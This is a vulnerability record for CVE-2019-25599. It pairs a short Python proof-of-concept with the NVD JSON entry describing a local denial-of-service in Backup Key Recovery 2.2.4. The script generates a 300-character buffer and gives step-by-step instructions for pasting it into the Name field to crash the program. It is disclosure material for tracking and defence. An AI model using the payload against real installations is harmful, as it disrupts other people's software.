CVE-2019-25599

import sys # PoC for CVE-2019-25599 # Vulnerable Product: Backup Key Recovery 2.2.4 # Vulnerability Type: Denial of Service (Buffer Overflow) def generate_dos_payload(): """ Generates a payload string of 300 characters. This length is sufficient to trigger the buffer overflow in the Name field. """ # Creating a buffer of 300 'A' characters payload = "A" * 300 return payload if __name__ == "__main__": crash_string = generate_dos_payload() print("[+] PoC Generated for CVE-2019-25599") print(f"[+] Payload Length: {len(crash_string)} characters") print("[+] Payload Content:") print(crash_string) print("\n[!] Instructions:") print("1. Open Backup Key Recovery 2.2.4") print("2. Navigate to the Registration/Name field") print("3. Paste the payload above into the 'Name' field") print("4. Submit the form to trigger the crash.")

{"cve": {"id": "CVE-2019-25599", "sourceIdentifier": "[email protected]", "published": "2026-03-22T14:16:27.160", "lastModified": "2026-04-16T16:19:50.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Backup Key Recovery 2.2.4 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can paste a buffer of 300 or more characters into the Name field during registration to trigger a crash when submitting the form."}, {"lang": "es", "value": "Backup Key Recovery 2.2.4 contiene una vulnerabilidad de denegación de servicio que permite a atacantes locales colapsar la aplicación al proporcionar una cadena excesivamente larga en el campo Nombre. Los atacantes pueden pegar un búfer de 300 o más caracteres en el campo Nombre durante el registro para provocar un colapso al enviar el formulario."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-466"}]}], "references": [{"url": "http://www.nsauditor.com/downloads/backeyrecovery_setup.exe", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/46750", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/backup-key-recovery-denial-of-service-via-name-field", "source": "[email protected]"}]}}